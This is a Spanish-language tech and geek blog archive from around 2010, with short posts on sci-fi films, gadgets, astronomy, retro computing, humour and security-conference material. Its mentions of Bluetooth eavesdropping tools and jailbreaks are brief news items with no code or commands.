Rendezvous with Rama - Vancouver Film School (VFS) from Vancouver Film School on Vimeo.

Qué pena que no dure más …

Parece que hay rumores sobre una película pero aún no está comprobado. Si no has leido el libro y te gusta la Sci-Fi de verdad, tienes que leerlo ya.

Cita con Rama, libro.

Visto en Kuriositas.

Mensaje para los porteros de discoteca

De vez en cuando te encuentras con heroes anónimos que echan sobre sus espaldas a toda la humanidad.

Este es uno de ellos:

Visto en: Sorprendible

P.D.: Si alguien va a la plaza del Springfield que le dediquen una ovación.

Técnicas de diseño gráfico de Disney

La compañía Walt Disney, que no necesita ningún tipo de introducción, ha puesto para libre descarga una serie de documentos explicativos sobre algunas técnicas de diseño gráfico usada en sus producciones.

Si eres diseñador estás de suerte sin duda alguna.

Feeds RSS directamente al escritorio

Windows

Si te gustan los widgets, Feedling coloca todos tus feeds favoritos directamene en el escritorio en una capa transparente. Puedes poner todos los que quieras hasta conseguir que el escritorio sea todo un feed rss completo. También puedes configurar el tamaño, tipo de letra, colores, etc ...

Es freeware y puedes descargarlo desde aquí.

Visto en LifeHacker.

Otra chuleta (cheat sheet), esta vez del editor …

Seguro que ya la tenemos en nuestra colección, pero esta tiene un diseño fenomenal y a más de uno de nosotros nos vendrá bien. Es difícil acordarte de todos los comandos del odiado/amado Vi (yo no puedo vivir sin él).

Puedes descargarla gratuitamente desde aquí.

Visto en SmashingMagazine.

Glosario de libro de programación

Explicación perfecta de la recursividad y del bucle infinito… y todo ello en el ¡glosario!

Enlace original.

Alucinante gimnasta, Dam Walters

Imagínatelo con un traje de spiderman ;)

Increible, visto en GeeksAreSexy.

El arte 404

El error 404, según la especificación HTTP, es el error que un servidor web debe devolver cuando el recurso que se le pide al servidor no existe, es decir, este es el típico error de "Página no encontrada" o "Page not found".

Por regla general, cualquier servidor web te permite personalizar la página que se muestra cuando se dispara dicho error.

En este link puedes ver 15 ejemplos distintos de este tipo de páginas personalizadas. A continuación os dejo algunas de ellas:

Lluvia magnética de plasma en el Sol

Aquí puedes ver también un video. Imágenes tomadas por la sonda SDO.

Todo explicado de forma genial, como siempre, en CienciaKanija.

Nueva imágen de Tron Legacy, Coche-Luz

Visto en Yahoo!

Ramanujan, el enigmático genio de las matemáticas

Srinivasa Aaiyangar Ramanujan revolucionó las matemáticas en sólo 32 años de existencia y sin formación académica (1887 - 1920). Nacido en una familia humilde de la India, la única formación avanzada que tuvo sobre las matemáticas fue un libro que le regalaron a los 15 años con 6.000 teoremas conocidos sin demostraciones.

En 1913, un matemático llamado Godfrey Harold Hardy, recibe una carta de Ramanujan. Al principio no le hizo mucho caso ya que eran teoremas ya conocidos pero resueltos de una forma muy especial, no había demostraciones pero otros eran realmente fantásticos. Luego volvió a echarles un vistazo y al final llegó a una conclusión, ¿era una broma? ¿un engaño?. Buscó ayuda de otros matemáticos y al final llegó a una conclusión: sólo un genio podría haber escrito esas fórmulas.

Piraña 3D, trailer

... ó fiesta gore en la playa ;)

Visto en io9.

Hakin9 se hace... ¡gratuita!

Hakin9 la revista sobre seguridad y hacking, ha decido poner a disposición del público de forma totalmente gratuita sus nuevos ejemplares, empezando por el último publicado en Abril del 2010.  Si quieres estar informado de cuando lanzan cada número, sólo tienes que suscribirte a su lista de correo electrónico y seguir visitando Cyberhades ;-)

Desde aquí te puedes descargar dicho número.

Publicados los Concept-Arts de Heavy Rain

Hacer una galería de concept-art en la preproducción de un gran videojuego es algo indispensable. De estos bocetos sacarán sus ideas, nada más y nada menos que: diseñadores, delineantes, infógrafos, técnicos de imagen y radiosidad, publicistas... y así podría seguir un rato más. Es la base de todo el desarrollo, sin la idea no tienes nada. Heavy rain es un increible juego para ps3 que basa su historia en el llamado Asesino del Origami.  Son muchas y buenas imágenes, clickead para aumentar. Espero que os gusten.

Bajos y guitarras un poco especiales ...

La guitarra eléctrica (y su bajo) es el símbolo del Rock And Roll, pero claro, nuestra naturaleza geek nos "obliga" a crear guitarras y bajos un poco especiales, como la guitarra hecha con una NES que encabeza este post.

En NeatOrama han recopilado varias de estas guitarras en una colección de imágenes que no te puedes perder.

Algunos ejemplos:

The Soft Pack, "C'mon", ya es hora de levantarse …

The Soft Pack.

Dichosa pulserita ...

No creo en la PowerBalance, básicamente porque no tiene base ninguna científica que lo demuestre. Es un simple PLACEBO, es reinventar las pulseritas con dos bolitas pero en tiempos modernos.

Pero cada vez más veo a más gente con dicha pulsera. Me parece bien que la lleves como adorno, pero recuerda que esa pulsera tiene menos efecto sobre tu salud que esta otra:

No te pierdas la entrada de Microsiervos donde hablan de ella o esta otra de Menéame sobre los inventores.

Responde en Facebook al mensaje de una botella

"Yo soy un chico de 14 años y vivo en Bélgica. No sé si eres un niño, una mujer o un hombre. Navego en un barco de 18 metros. Su nombre es Damaris. Al mismo tiempo que escribo esta carta, acabamos de pasar por Portland Bill, en la costa sur de Inglaterra. Partimos esta mañana"

Este mensaje lo lanzó Olivier Vandewalle y lo recogió 33 años después la británica Lorraine Yates que encontró la botella en Swanage, en el sur de Inglaterra. Con los datos que tenía investigó y dió con el niño belga (ya no tan niño) en facebook. "Nunca me imaginé que lo volvería ver", ha dicho al periódico The Sun, "es una de esas cosas que todos los niños hacen".

USB Safeguard, seguridad en tu pendrive

 

Windows

Cada vez llevamos más información relevante en nuestros pendrives (o cualquier disco duro externo). Más de uno pensamos "... Madre mía si un día lo pierdo ..." pero no hacemos nada. Así que ya es hora de tomar al menos alguna medida. Yo tengo toda la información sensible de mis pendrives encriptada con el fantástico EncryptOnClick, pero este USB Safeguard es más sencillo de usar y puedes encriptar el pendrive completo.

Primer humano en terminar Bejeweled 2

Llegó al nivel 439, atrapó 4,872,229 gemas y el mayor combo que alcanzó fue de 270,675. El jugador es Mike Leyde de 56 años y trabaja como contratista de acero. El juego no tiene un final, solo deja de contar. Conseguir estas cifras le llevaron 2,205 horas y 51 minutos.

Brian Fiete, fundador de PopCap Games y creador del juego explica: “Teníamos que darle al juego algún puntaje máximo y pensamos uno que fuese lo suficiente alto, un puntaje que nadie pudiera alcanzar”. “Cuando Mike atrapó el próximo grupo de gemas, los 2,200 puntos adicionales alcanzar el máximo calculable y, como en muchas máquinas recreativas, provocó que el puntaje dé la vuelta y muestre un número negativo. Bueno, el código del juego no estaba diseñado para mostrar un número negativo, ¡así que mostró un espacio el blanco donde tendría que estar el puntaje!”

Altair 8800 tuneado a Core i5

Visto en Z80 RetroHard

Retribución

Visto en fayerwayer.com

Ubuntu 10.04 Lucid Lynx

Hoy es el día en que se lanza la nueva versión de Ubuntu 10.04. De hecho, ya te la puedes descargar desde cualquiera de sus repositorios o mirrors. Aunque la página principal de Ubuntu todavía no refleja la noticia, he estado todo el día refrescando el listado de las imágenes y ya está disponible. Te la puedes descargar desde aquí.

Tenacious D - Beelzeboss

Hoja de referencia Arduino

En cyberhades ya os hemos traído todo tipo de noticias relacionadas con arduino, al igual que con las tarjetas de referencia, chuletas, llámalo como quieras, pero esta hoja de referencia (PDF, VSD) no la hemos publicado por aquí aún.

La historia de Ciencia Ficción más corta ...

El último hombre en la Tierra está sentado solo en su habitación. Golpean a la puerta ...

Fredrick Brown

La tarjeta gráfica más rápida del mundo

Nos estamos refiriendo a la ATI Radeon 5970 4G SAPHIRE TOXIC Edition. Sus cifras impresionan:  900 Mhz para core y 4800 Mhz para 4 Gb de memoria GDDR5 O_o . De forma especial, la refrigeración corre a cargo de Arctic Cooling. El precio: ~ 700 $

Visto en hothardware.com

Póster de la NASA

Aunque esta noticia va más acorde con nuestro compañero Cybercaronte, la NASA ofrece de forma gratuita la posibilidad de descargarte varios póster de distintas misiones y expediciones, tanto en alta como baja resolución.

Ni que decir tiene, la espectacularidad de algunas de las imágenes te dejan con la boca abierta. Belleza en su estado más puro.

Si tienes un buen plóter y espacio en tu habitación… :-)

Portraiture es realmente bueno

Esta fotografía la he realizado con una Minolta Dynax 404 + 28-85mm y no es digital. La modelo, aun teniendo una cara perfecta, presentaba una serie de imperfecciones cuando la luz incidía de forma oblicua. Por mucha experiencia que se tenga no puedes ver este tipo de problemas hasta que que te las dan positivadas. Si el problema se detecta en la piel o en un cielo es muy difícil de reparar (por la complejidad del degradado) con el tampón de photoshop ya que se queda muy corto. Portraiture 2 es un plug-in sacado por la gente de Imagenomic, LLC para photoshop. Aunque ya tienen algún tiempo, las nuevas versiones estan dando mucho de que hablar. Es un software muy bueno pero caro: 200 $. Su interfaz es muy simple y podríamos pensar que le faltan opciones, nada más lejos de la realidad. Es bastante automático e intuitivo, con solo unos clicks estará solucionado el problema. Disponible para Photoshop CS2, CS3, y CS4 en sus versiones Windows y Mac, así como para Aperture.

Otro Hack para MBWE

Para aquellos que tengáis un disco externo de red Western Digital modelo MyBook World Edition (más conocido por mi barrio como “el tamborilero”) ya podéis añadirle una nueva funcionalidad. Se trata de pyLoad, que es el tan esperado gestor de descarga de enlaces como por ejemplo Rapidshare o Megaupload basado en Python.

Y es que, si el pobre no tenia suficiente trabajo con el rTorrent, Transmission, Amule, TwonkyMedia, etc. todo esto llevado con un procesador de 300Mhz y 32MB de memoria las 24 horas del día… ahora aparece esto, que lo exprimirá todavía más y lo hará sonar como un solo de Dave Lombardo a la vez que vemos como su bonito anillo de leds azules gira sin sentido cada vez más deprisa (más de uno sabe a que me refiero).

HITBSecConf2010 - Dubai. Material disponible para …

Desde este enlace podéis acceder al contenido de las presentaciones de la HITB2010SecConf que se celebró en Dubai del pasado 19 al 22 de Abril.

Esta es la lista de las charlas que podréis encontrar:

KEYNOTE 1 - John Viega - A/V Vendors Aren’t As Dumb As They Look D1 - Daniel Mende - Attacking Cisco WLAN Solutions D1 - Laurent Oudot - Improving the Stealthiness of Web Hacking D1 - Dimitri Petropoulos - Attacking ATMs and HSMs ** D1 - Dino Covotsos - Analysis of a Next Generation Botnet D1 - The Grugq - Crime, Kung Fu and Rice ##

apt-get wife

Visto aquí.

Sniffing rifle, para WiFi y Bluetooth

Usando un rifle de juguete "Nerf", dos antenas usando recipientes de Pringles, un tablet PC (Fujitsu u810) y otros objetos varios, [.ronin] ha construido este espectacular rifle para buscar y conectar con dispositivos Bluetooth o WiFi. La primera prueba, en un centro comercial donde encontró 250 dispositivos Bluetooth usando SpoofTooph.

Aquí puedes ver una presentación en PDF sobre el aparatito.

Visto en HackADay.

Levitación ultrasónica

Levitación acústica.

Más información en io9.

Los 20 mejores juegos del ZX Spectrum

Si eres como yo, de los que empezaron con ZX Spectrum, seguro que muchos recuerdos nostálgicos te invadirán cuando veas esta fantástica lista de los 20 mejores juegos del Spectrum. Recuerdo cuando iba al colegio (el EGB de entonces) y había quedado con un amigo para intercambiar un cinta llena de juegos. Ese día era especial, con nervios deseando volver a casa y probarlos (eso sí,  la mitad no cargaban), sacar a escondidas el televisor pequeño del cuarto de mis padres para poder jugar toda la tarde.  Recuerdo aún Horacio y las Arañas (del que sólo podía jugar un nivel porque mi Spectrum inicial era de 16KB) como mi primer juego del Spectrum, luego pasé al The Hobbit, Manic Miner, etc ...

Trailer "The Last Airbender"

Trailer final (con unos efectos especiales espectaculares)  de la película "The Last Airbender" (de M. Night Shyamalan's). Esta película es una adaptación de una serie de televisón de animación con el mismo nombre.

Se estrenará el 2 de Julio de 2010.

Visto en TheFireWire.

Música para un domingo con menos frío, …

Lamentablemente no es un video musical, pero tienes que oirla hasta el final …

Seguro que te anima este domingo …

Web The Deadly Syndrome

MySpace donde puedes oir más canciones.

Cómo crear tu propio póster retro de Ciencia …

Por ejemplo Tron,o videojuegos cómo Mega Man ó Asteroids. Este tutorial te enseñará a dar ese encanto poligonal lleno de luces láser de los 80 usando nuestro querido Photoshop.

Todo paso a paso explicado (eso sí en inglés, pero con gráficos muy explicativos) en este enlace.

Visto en la fantástica web de  io9.

Nueva foto del Hubble

La foto muestra a la Nebulosa Carina y se ha hecho ahora para celebrar los 20 años del telescopio espacial. La imagen muestra torres de hidrógeno frío y polvo iluminados por las estrellas de alrededor.

Esto es una simulación en 3D realizada por la nasa para mostrar dicha nebulosa.

Visto en fayerwayer.com

Almacenamiento Humano

Poster donde se muestran algunos records increibles/estúpidos sobre la capacidad de almacenamiento del cuerpo humano. Desde 7.75 pintas (aproximadamente 3 litros y medio, yo conozco algunos en el bar de mi amigo Carlos que seguro superan este record) de cerveza en 5 min hasta 65 huevos cocidos pasando por tragarse un cubo de rubik, bolas de billar, etc ...

Pulsa en el gráfico para verlo a mayor tamaño.

FOCA 2.0 disponible para descarga

Veo en el blog de Maligno que ya está la esperada FOCA 2.0 disponible para descargarla desde la web de Informática 64 (sólo tienes que dar tu email y luego te envían la url de descarga).

FOCA es una herramienta para la extracción y análisis de metadatos. Soporta Office desde la 97 a la 2007, OpenOffice, PDF, WPD y JPG.

Te sorprendería lo que esconden estos fichero, con FOCA podrás ver el contenido "oculto" en estos formatos.

Material de la BlackHat 2010 Europa disponible

La edición 2010 de la Black Hat Europa que tuvo lugar desde el 12 al 15 Abril en Barcelona, España, ha puesto a disposición de los usuarios el material para su descarga completamente gratuita.

Aquí tenéis todo el material.

South Park amenazado por islamistas

revolutionmuslim.com (recientemente ha dejado de funcionar) ha amenazado de muerte a Trey Parker y Matt Stone, creadores de South Park. Al parecer, en el capítulo 200 de esta serie, titulado Huzzah!, se puede ver a Mahoma disfrazado de oso. Los integrantes de la mencionada web les han advertido que "terminarán probablemente como Theo Van Gogh por distribuir ese programa". Van Gogh, director de cine holandés, fue asesinado en 2004 tras realizar una película sobre el trato de la mujer en la sociedad musulmana. "Esto no es una amenaza, sino una advertencia de lo que probablemente les ocurrirá a ellos", se apunta en la web.

Imágenes prohibidas del cine mudo

En el 72 Hour Film Festival de 2007 en Maryland se expuso una selección de escenas censuradas en las décadas de los veinte y los treinta del XIX. Fueron casi las últimas escenas en mudo ya que se estaba empezando a implantar el cine sonoro.

En el futuro, también nuestra censura dará risa.

Visto en mangasverdes.es

Más datos públicos

Hace ya algún tiempo os hablé de Geonames, ese servicio web que provee todo tipo de datos geográficos de forma totalmente gratuita.

Esta vez os voy a hablar de los datos de libre acceso del Banco Mundial. Esta web nos ofrece de forma gratuita y ordenada, en forma de hoja de cálculo, CVS e incluso una API para programadores, de datos sobre más de 2000 indicadores distintos, provenientes del Banco Mundial.

Dibujando Manga con el iPad

En concreto, el dibujante es Yoshitoshi ABe y el personaje es “Ein”.

Visto en ZonaFandom.

Cómo limpiar un teclado

En este enlace podéis ver paso a paso como limpiar un teclado. El teclado que podéis ver en la foto es un Teclado Happy Hacking, que por el precio del mismo, unos $70,  lo mismo te compensa quitar tecla por tecla, limpiarlo bien con jabón, dejarlo secar por un par de días, limpiar todas las teclas y colocarlas de nuevo.

Si lo que tienes es un teclado que cuesta 10€, no hagas el indio y ¡cómprate uno nuevo! No seas rácano.

CarWhisperer, herramienta para acceder a un manos …

Linux

El proyecto carwhisperer, según indican en su web, está diseñado para sensibilizar a los fabricantes de kits manos libres para coches y otros dispositivos bluetooth, sobre el problema de tener contraseñas predefinidas en estos aparatos.

Este software usa exploits diseñados para acceder a los dipositivos de manos libres que están en modo de búsqueda de conexiones (prácticamente todos). Este programa escanéa y conecta con ellos utilizando una base de datos con los PIN más comunes ('0000' ó '1234') usados por los principales fabricantes. Una vez conectado, este software se podría usar por ejemplo, para escuchar (o grabar) una conversación que transcurre en una oficina desde la calle (o el piso de enfrente). Una vez conectado, podrías también enviar audio al mismo dispositivo manos libres (hablarías incluso con el conductor o la persona que lleva el manos libres), con la confusión que eso podría crear. Todo este sistema se podría perfeccionar aún más usando una antena direccional lo cual ampliaría el rango de escucha.

La hechicera de números

La hechicera de números (Enchantress of Numbers) era el apodo (nickname) con el que Babbage identificaba a Ada Lovelace.

Para aquellos que no sepáis quien es Babbage o Ada, que levanten la mano. Ahora con la otra ¡abofetéate! :-)

Ada es considerada como la primera programadora de la historia, ya que escribió la manipulación de símbolos para la máquina de Babbage. Para saber más sobre ambos personajes, sigue los enlaces.

El Circo del Sol, "La rueda de la muerte"

 

Espectacular nuevo show del Circo del Sol, atentos al minuto 4:50, vaya susto.

Realmente acojonante.

Visto en Neatorama.

WorkInProgress: los making-of de los comics

ArtBOX es, básicamente, un sitio de encuentro para artistas de casi todo tipo, desde los de "papel y lápiz" hasta expertos diseñadores e infógrafos. Sus foros albergan distintas temáticas: ilustración, fotografía, animación, comic... Muchas de ellas digitales. Tienen otro apartado llamado "proyectos en progreso" (WIP) en el que se ve como van tomando forma estas ilustraciones.

WorkInProgress (aviso: hay que dejar que cargue la página, por los flash)

Brick Bank

Brick Bank es un cajero automático creado con piezas de lego. Al final del vídeo podéis ver el material usado. Tiene su gracia.

Cómo (des) proteger un documento Excel 2007

Windows

El gran Chema Alonso (Maligno para los amigos) ha publicado un post muy interesante sobre el funcionamiento de la protección de un documento en Excel 2007 y algunas de sus debilidades.

No os lo perdáis, este es el enlace al post.

Siete PCI-Express en tu placa base

Es muy probable que esta monstruosidad (filtrada y no oficial) sea la Gigabyte GA-X58A-UD9, que incluirá el chipset Intel X58 y el socket LGA1366 para i7. Existe poca información más y tampoco es muy de fiar.

Atención a la disipación, wow. Más gráficas, más SSD PCI-E, más, más, más…

Más info en crunchgear.com

Servidor web muy simple

Muchas veces he necesitado mandar un fichero a alguien, que por su tamaño, no podía mandarlo por correo electrónico. Siempre puedes partir el fichero en trozos más pequeños, pero cuando el receptor del mensaje, todo lo que sabe es usar el navegador web y poco más, esa no es una opción.

Otra opción es el uso de los servicios online de compartición de ficheros, pero normalmente tienes que crear una cuenta, o si no estás registrado tienes que hacer un par de clicks, esperar XX segundos, etc. Podría funcionar, pero tampoco es la mejor opción.

Libro de pegatinas sobre Software Libre

Si eres de los que les gusta decorar el portátil, ordenador de sobremesa, una carpeta, etc, con pegatinas y además eres fan del software libre, ya te puedes descargar de forma totalmente gratuita estos dos volúmenes: 1 (PDF, ODG) y 2 (PDF, ODG), llenos de pegatinas relacionadas con el mundo del software libre. Eso sí, necesitarás papel de pegatinas y una buena impresora.

Free Software Sticker Book

¿Problemas de impresión en tu iPad?

Enlace original.

Bebe y programa de forma responsble

How to Program a Message on Your MEDEA Bottle from Medea Spirits on Vimeo.

De la mano de Medea nos llega la botella de Vodka programable. En la propia botella, como podéis ver en el vídeo, tiene integrada una pantalla de leds, la cual podemos programar grabando mensajes de hasta 255 caracteres y puedes almacenar hasta 6 mensajes diferentes.

Más información en su web.

Tetris Bot

 

Usando los famosos Lego NXT. Un robot que juega al Tetris usando una webcam para transmitir la información al robot que a su vez usa un teclado normal para hacer los movimientos. Pero ojo, tiene truco, fijaros en la placa Texas Instruments DM6437 video development, que procesa toda la información y se la pasa al Mindstorm.

Increible.

Visto en HackADay.

Super Mario Bros en Kindle

La empresa japonesa Klab ha desarrollado un emulador de NES y aquí está en funcionamiento ejecutando Super Mario Bros (en un emulador de Kindle).

Visto en Kotaku.

Realidad... virtual? o virtualidad... real?

Visto en ubuntulife.

La erupción del Eyjafjallajökul en Islandia

Ver mapa más grande

 

Pocos medios de comunicación se han molestado en dar por lo menos el nombre del volcán, se limitan a decir "... la erupción de un volcán en Islandia..." (si fuera una noticia del corazón o un nuevo disco de un grupito superpop del panorama español nos darían todo con pelos y señales). Aparte de todo el problema aéreo que hay sobre la erupción del volcán Eyjafjallajökull en Islandia,  aquí tenéis un video de dicha erupción y la nube que ha generado:

Sevilla y Santiago reciben a los Visitantes (V)

Buenísima promo de "V" (2009) donde se entrevista en Sevilla a una vendedora de artículos de recuerdo ... (cómo dice Alvy de Microsiervos, donde hemos visto esta entrada, atentos a la última frase).

Y en Santiago:

Game Gripper para Motorola Droid

No vale para mi HTC Magic pero puede que lo haga en un G1 …

Motorola Droid.

Web del fabricante.

PHP: todo lo que necesitas para jugar con la Web

Espectacular artículo donde te explica cómo programar con PHP usando varios ejemplos muy prácticos. Es sencillo pero explica por ejemplo cómo interactuar con Javascript, cargar contenido de una web, mostrar contenido XML, y mucho más, todo explicado de forma sencilla y muy práctica.

Lo único malo, está en inglés. Pero si más o menos controlas un poco el idioma y quieres acercarte al lenguaje PHP, no dudes en echarle un vistazo.

El ordenador más pequeño del mundo

Apple ahora nos sorprende con El Mactini.

Sobres con envoltura de Google Maps

Muy bonitos (aunque prepárate a gastar tinta de la impresora). Desde este enlace podrás crear sobres en cuyo interior aparecerá impreso un mensaje personalizado sobre un mapa de Google Maps (con la dirección quieras que aparezca).

Visto en Presurfer.

Apple toma nota...

Aquí os dejo un vídeo de un diseño de portátil futurista, Rolltop.

Trailer de Gears of War 3

Video Games | Gears of War 3 | Ashes to Ashes Debut Trailer HD

XBox 360 | Playstation 3 | Nintendo Wii

Este juego fue el motivo por el cual me compré una Xbox, Gears of War. Esta es la tercera entrega para Abril del 2011. Según los autores "este es definitivamente el mayor y más dramático capítulo en la saga Gears of Wars, no podemos esperar para sacarlo al mercado".

España desde la Estación Espacial Internacional

Preciosa foto hecha por nuestro astronáuta favorito, Soichi Noguchi (ya nos pasó esta foto de la ría de Vigo), desde la ISS.

Visto en Microsiervos.

Intentando recuperar un disco duro estropeado …

Así es, he oido ya casi de todo, desde usar imanes para desbloquear el cabezal hasta el golpe mágico (tirarlo contra el suelo) ;) pero no tenía ni idea de este método que según los chicos de Lifehacker, puede funcionar. Al parecer tienes que introducirlo cuando veas que está empezando a dar problemas, estos son los pasos:

1. Quita el disco duro del ordenador...   O_o
2. Coloca el disco duro dentro de una bolsa especial de congelar (de las buenas)
3. Coloca el disco duro envuelto en esta bolsa dentro de otra bolsa igual (al parecer, esto es importante).
4. Colócalo en el congelador donde más enfríe.
5. Déjalo unas 12 horas por lo menos
6. Una vez frío, instala el disco duro en el ordenador y empieza a salvar toda la información que puedas.
7. Cuando falle de nuevo el disco duro, vuelve a repetir el proceso otras 12 horas más.
8. Puede que tengas que repetirlo tantas veces como necesites para recuperar la información completa.

¿Cómo puede funcionar esto?, bueno esta es la mejor teoría que he encontrado. Cuando se enfría la unidad de disco, las partes mecánicas se contráen y endurecen (incluso sujeta las posibles partes aflojadas), mejora las zonas con posibles problemas eléctricos (grietas de soldadura por ejemplo), y siempre teniendo en cuenta que en la electrónica, todo funciona mejor cuanto más frío esté. Las bolsas de plástico son para evitar la humedad.

Acortador de URLs un tanto peculiar

Ya os hablamos aquí de un acortador de URLs diferente. Hoy os dejo otro de estos servicios que tan de moda se han puesto. PointyURL es un servicio que nos devuelve las URLs de la siguiente forma: http://⇊↶.⇒.ws.

No sé, tiene su gracia.

Auditoría de seguridad real

No sé cuantos de ustedes han visto una de mis películas favoritas: Sneakers (Fisgones informáticos, creo que es el título en Español). Ésta trata de una empresa que se dedica a auditar, comprobar, saltarse las barreras de seguridad de otras empresas, tanto físicas como informáticas.

El Tiger Team es un equipo que se dedica precisamente a eso. Cada componente del mismo es un experto en distintas áreas, seguridad informática, seguridad física, hardware, etc.

"The Gift", genial corto de sci-fi

 

Creado por Carl Erik Rinsch, la acción transcurre en invierno en Moscú en la que podrás ver robots, acción, asesinatos y todo con un gran misterio de trasfondo. Está con subtítulos en inglés pero puedes activar el modo de traducción a español (lo explicamos en esta entrada). De todas formas hay poco diálogo y se entiende perfectamente.

Parece que este corto ha gustado tanto que se convertirá en breve en una película.

Springfield Punx Wallpaper, personajes al estilo …

Este wallpaper de Springfield Punx contiene, en formato "Simpsons", algunos de los personajes populares de comics, televisión y películas. Pulsa en la imágen verlo más grande.

Fantástico.

Visto en The Fire Wire.

Los mejores 10 chistes sobre Chuck Norris y su …

Carta Magic de Chuck Norris. Imágen vista aquí.

Este es nuestro top 10:

1. Las Tortugas Ninja están basadas en una historia real. Chuck Norris se comió una vez una tortuga entera, y cuando la cagó, ésta medía dos metros y había aprendido karate.
2. Si le preguntas a Chuck Norris qué hora es, siempre responde “Faltan dos segundos”. Después de preguntarle “¿Dos segundos para qué?”, te pega una patada giratoria en la cara
3. No hay teoría de la evolución, solo una lista de criaturas a las que Chuck Norris permite vivir.
4. Chuck Norris puede dividir entre cero.
5. Chuck Norris es la razón por la que Wally se esconde
6. Chuck Norris pidió un Big Mac en un Burger King y le hicieron uno
7. Chuck Norris vendió su alma al diablo a cambio de su rudo buen aspecto y su inigualable destreza en las artes marciales. Poco después de finalizar la transacción, Chuck dio una patada giratoria al Diablo en la cara y recuperó su alma. El Diablo, que aprecia la ironía, no pudo enfadarse con él, y admitió que debía haberla visto venir. Ahora juegan al póquer el segundo miércoles de cada mes.
8. El único niño que ha podido sobrevivir a una patada giratoria de Chuck Norris fue Gary Coleman (Arnold el travieso). No ha crecido desde entonces
9. En la última página del Libro Guinness de los Récords se avisa que todos los récords mundiales pertenecen a Chuck Norris, y aquellos listados en el libro son solo los más cercanos que nadie ha podido conseguir jamás
10. Chuck Norris es el único hombre vivo que ha derrotado a un muro de ladrillos en un partido de tenis

Si quieres ver más, mira en esta web.

Otro domingo por la mañana, Brett Domino Trio

Atentos al despliegue de gadgets durante el video.

Web oficial.

Laboratorio de física

Desde myphisycallb podemos acceder a una serie de applets que emulan diferentes aspectos de la física. Dispones de emulaciones de muelles, péndulos, moléculas, colisiones, etc. Dichos applets también nos permiten personalizar el comportamiento de los objetos involucrados, como la gravedad, elasticidad, longitud, etc.

Las botellas de whisky más caras del mundo

Pocas cosas en esta vida son mejores que estar con buenos amigos tomando un buen whisky justo después de comer un sábado por la tarde. Y como no todo van a ser ordenadores y Sci-Fi en esta vida, y a mi amigo NOP le gusta mucho el buen whisky como a mi, aquí está la lista Forbes de los más caros. Ya nos gustaría pillar alguna de estas botellas.

Si lo he pagado es mío ¿no?

Y lo puedo usar donde me de la real gana. Pues eso no es lo que piensa Amazon con sus ebooks. Si te compras un libro electrónico, sólo puedes usarlo en tu kindle o tu kindle para PC, Mac, iPhone, Blackberry o por supuesto para iPad. Pues debo tener un mal día, porque todo lo que tengo es un G1, Nook y Linux. Es decir, que estoy jo..do si quiero comprar un ebook en Amazon. Pues nada, que le den a Amazon, de todas formas tengo mucho que leer.

Pero claro, cuando tu mujer también tiene otro Nook y una tarjeta regalo para Amazon, pues lo primero que hace es mirar que libros puede comprar con dicha tarjeta y claro, poder usar el libro en su Nook. Y como buen geek y marido: Sí baby, compra el libro que quieras y lo ponemos en tu Nook.

Popular Electronics, Enero de 1975, la revista que …

Se anuncia el Altair 8800, comienza la revolución del Ordenador Personal. Podéis ver el artículo (con las páginas escaneadas) completo aquí. De paso os recomiendo un paseo por todos los números desde 1957 de esta fantástica e histórica revista de electrónica.

Artículo sobre Popular Electronics.

Imágenes del primer eclipse "extrasolar"

 

La estrella Epsilon Aurigae (Almaaz) cada 27 años parecía como si fuera tragada por algo y los astrónomos notaban una disminución drástica de su intesidad. Estaba bastante claro que algo pasaba por delante, pero ahora usando técnicas especiales que producen imágenes 140 veces más claras que el mismísimo Hubble, lo han podido confirmar.

Investigadores de la Universidad de St. Andrews han podido combinar la luz de diferentes telescopios para producir imágenes mucho más precisas del eclipse en Epsilon Aurigae.

Un Viper de Galactica hecho coche

Es tan largo que casi ocupa tres plazas... de discapacitados :-)

Dean Shorey, super super super fan de Galactica, ha creado un Viper interceptor colonial ha partir de un viejo coche de correos. Es completamente legal y tiene los papeles en regla. Aquí en España, ni siendo el mismisimo Adama, te pasaban la ITV ... tengo un cylon en cola...

Visto en nopuedocreer.com

Jailbreak al iPad 24 horas después de su …

 

Pues eso, el grupo iPhone Dev Team usando los mismos métodos que les permitieron hacer el famoso jailbreak al iPhone, han conseguido lo mismo con el iPad casi el mismo día de su lanzamiento. El exploit se llama "Spirit" y permite acceso root al S.O. y al sistema de ficheros.

Visto en HackNMod.

Corto Pixels, los 8-bits se vengan

Me quedo con la destrucción de tetris, genial. Patrick Jean es el autor del vídeo, usando la música “L.A. Trumpets” de “Naïve New Beaters”.

Visto en gizmodo.es

Programación de juegos para NES

En el blog de cinematicbazaar.com llevan publicando desde el mes pasado una seria de entradas sobre el desarrollo de juegos para NES. Aunque esta consola esté totalmente desfasada, siempre hay algo o mucho que aprender de otros desarrolladores. Especialmente las técnicas de optimización usadas, ya que estas consolas de antaño, nada tienen que ver con las de hoy en día, cuyas características son super potentes y eso hace muchas veces los desarrolladores se olviden de optimizar su código, ya que el hardware en el que correrá va muy sobrado. Sin embargo la optimización de código, no sólo en consolas sino en cualquier dispositivo antiguo, es crucial.

Centro de visitas del Banco Santander en Boadilla …

7 de Abril, día internacional del piloto

Hoy, 7 de Abril de 2010, se celebra el Primer Día Internacional del Piloto. Después de muchas deliveraciones, IFALPA, ha acordado poner este día en conmemoración de la primera Asamblea de IFALPA en 1948.

Felicitaciones  a todos los que surcamos los cielos, ya sea por dinero, por placer o por ambas cosas. Buen vuelo, compañeros.

Visto en microsiervos.com

8-Bit Dark Side Of The Moon (Pink Floyd)

Brad Smith es un programador de juegos y músico que ha creado esta versión del fantástico disco de Pink Floyd "Dark Side Of The Moon" en 8-Bits.

Gratuito, puedes descargarlo desde aquí.

Visto en TheAwesomer.

El record de Asteroids, superado después de 28 …

 

Ya tenemos un nuevo campeón de Asteroids, John McAllister (de Seattle) superó el record de 1982 llegando a 41.338.740 (el record anterior estaba en 41.336.440). Le ha costado 58 horas seguidas y puso las iniciales E.L.F. al final en la lista de puntuaciones.

Mira este video de la televisión local donde le hacen un reportaje: 

Visto en Kotaku.

Ed Roberts (1941 - 2010), el padre del ordenador …

Henry Edward "Ed" Roberts falleció el pasado día 1 de Abril de 2010. Ingeniero eléctrico y médico, diseñó el primer ordenador personal en 1975, nuestro querido Altair 8800.

Un auténtico genio y padre de la revolución electrónica que estamos viviendo ahora. Me ha llamado la atención la poca repercusión del fallecimiento de uno de los padres del ordenador tal y como lo conocemos.

Os recomiendo buscar su biografía y la historia del Altair 8800, es apasionante. Como dato, recuerda que Bill Gates, lo primero que hizo junto a Paul Allen (co-fundador de Microsoft), fue crear el Altair BASIC. El resto es Historia.

